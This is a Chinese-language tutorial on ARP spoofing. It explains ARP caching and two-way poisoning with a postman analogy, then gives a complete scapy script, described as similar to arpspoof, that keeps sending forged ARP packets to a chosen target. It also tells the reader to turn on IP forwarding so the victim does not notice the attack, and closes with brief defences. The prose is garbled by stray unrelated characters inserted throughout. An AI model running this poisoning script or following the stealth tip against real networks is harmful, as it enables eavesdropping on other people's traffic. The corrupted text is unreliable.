ARP(Address Resolution Protocol)地址轉換協(xié)議洛搀,工作在OSI模型的數(shù)據(jù)鏈路層女阀,在以太網中漠其,網絡設備之間互相通信是用MAC地址而不是IP地址,ARP協(xié)議就是用來把IP地址轉換為MAC地址的瑞驱。而RARP和ARP相反娘摔,它是反向地址轉換協(xié)議,把MAC地址轉換為IP地址
假設A(192.168.1.2)與B(192.168.1.3)在同一局域網唤反,A要和B實現(xiàn)通信凳寺。A首先會發(fā)送一個數(shù)據(jù)包到廣播地址(192.168.1.255),該數(shù)據(jù)包中包含了源IP(A)彤侍、源MAC肠缨、目的IP(B)、目的MAC盏阶,這個數(shù)據(jù)包會被發(fā)放給局域網中所有的主機晒奕,但是只有B主機會回復一個包含了源IP(B)、源MAC名斟、目的IP(A)脑慧、目的MAC的數(shù)據(jù)包給A,同時A主機會將返回的這個地址保存在ARP緩存表中
上面提到過了ARP緩存表砰盐,在每臺主機都有一個ARP緩存表闷袒,緩存表中記錄了IP地址與MAC地址的對應關系,而局域網數(shù)據(jù)傳輸依靠的是MAC地址
假設主機 A 192.168.1.2,B 192.168.1.3,C 192.168.1.4; 網關 G 192.168.1.1; 在同一局域網楞卡,主機A和B通過網關G相互通信霜运,就好比A和B兩個人寫信,由郵遞員G送信蒋腮,C永遠都不會知道A和B之間說了些什么話淘捡。但是并不是想象中的那么安全,在ARP緩存表機制存在一個缺陷池摧,就是當請求主機收到ARP應答包后焦除,不會去驗證自己是否向對方主機發(fā)送過ARP請求包,就直接把這個返回包中的IP地址與MAC地址的對應關系保存進ARP緩存表中作彤,如果原有相同IP對應關系膘魄,原有的則會被替換
這樣C就有了偷聽A和B的談話的可能
C假扮郵遞員乌逐,首先要告訴A說:“我就是郵遞員” (C主機向A發(fā)送構造好的返回包创葡,源IP為G 192.168.1.1,源MAC為C自己的MAC地址),愚蠢的A很輕易的相信了蹬挤,直接把“C是郵遞員”這個信息記在了腦子里;
C再假扮A吨悍,告訴郵遞員:“我就是A” (C向網關G發(fā)送構造好的返回包,源IP為A 192.168.1.2爆雹,源MAC地址為自己的MAC地址)钙态,智商捉急的郵遞員想都沒想就相信了,以后就把B的來信送給了C驻子,C當然就可以知道A和B之間聊了些什么
上面ABC的故事就是ARP雙向欺騙的原理了
以下代碼很好地還原了實例馅袁,功能類似于arpspoof
在進行arp欺騙之前必須要開啟IP轉發(fā)犹褒,否則當欺騙成功之后李皇,目標機會斷網,這樣會被對方察覺
sysctl -w net.ipv4.ip_forward=1 或者 echo 1 > /proc/sys/net/ipv4/ip_forward
#!/usr/bin/python
import os
import sys
import signal
from scapy.all import (
get_if_hwaddr,
getmacbyip,
ARP,
Ether,
sendp
)
from optparse import OptionParser
def main():
try:
if os.geteuid() != 0:
print "[-] Run me as root"
sys.exit(1)
except Exception,msg:
print msg
usage = 'Usage: %prog [-i interface] [-t target] host'
parser = OptionParser(usage)
parser.add_option('-i', dest='interface', help='Specify the interface to use')
parser.add_option('-t', dest='target', help='Specify a particular host to ARP poison')
parser.add_option('-m', dest='mode', default='req', help='Poisoning mode: requests (req) or replies (rep) [default: %default]')
parser.add_option('-s', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning')
(options, args) = parser.parse_args()
if len(args) != 1 or options.interface is None:
parser.print_help()
sys.exit(0)
mac = get_if_hwaddr(options.interface)
def build_req():
if options.target is None:
pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0])
elif options.target:
target_mac = getmacbyip(options.target)
if target_mac is None:
print "[-] Error: Could not resolve targets MAC address"
sys.exit(1)
pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)
return pkt
def build_rep():
if options.target is None:
pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], op=2)
elif options.target:
target_mac = getmacbyip(options.target)
if target_mac is None:
print "[-] Error: Could not resolve targets MAC address"
sys.exit(1)
pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target, op=2)
return pkt
if options.mode == 'req':
pkt = build_req()
elif options.mode == 'rep':
pkt = build_rep()
if options.summary is True:
pkt.show()
ans = raw_input('\n[*] Continue? [Y|n]: ').lower()
if ans == 'y' or len(ans) == 0:
pass
else:
sys.exit(0)
while True:
sendp(pkt, inter=2, iface=options.interface)
if __name__ == '__main__':
main()
怎樣防范ARP欺騙
- 在主機綁定網關MAC與IP地址為靜態(tài)(默認為動態(tài))睬隶,命令:arp -s 網關IP 網關MAC
- 在網關綁定主機MAC與IP地址
- 使用ARP防火墻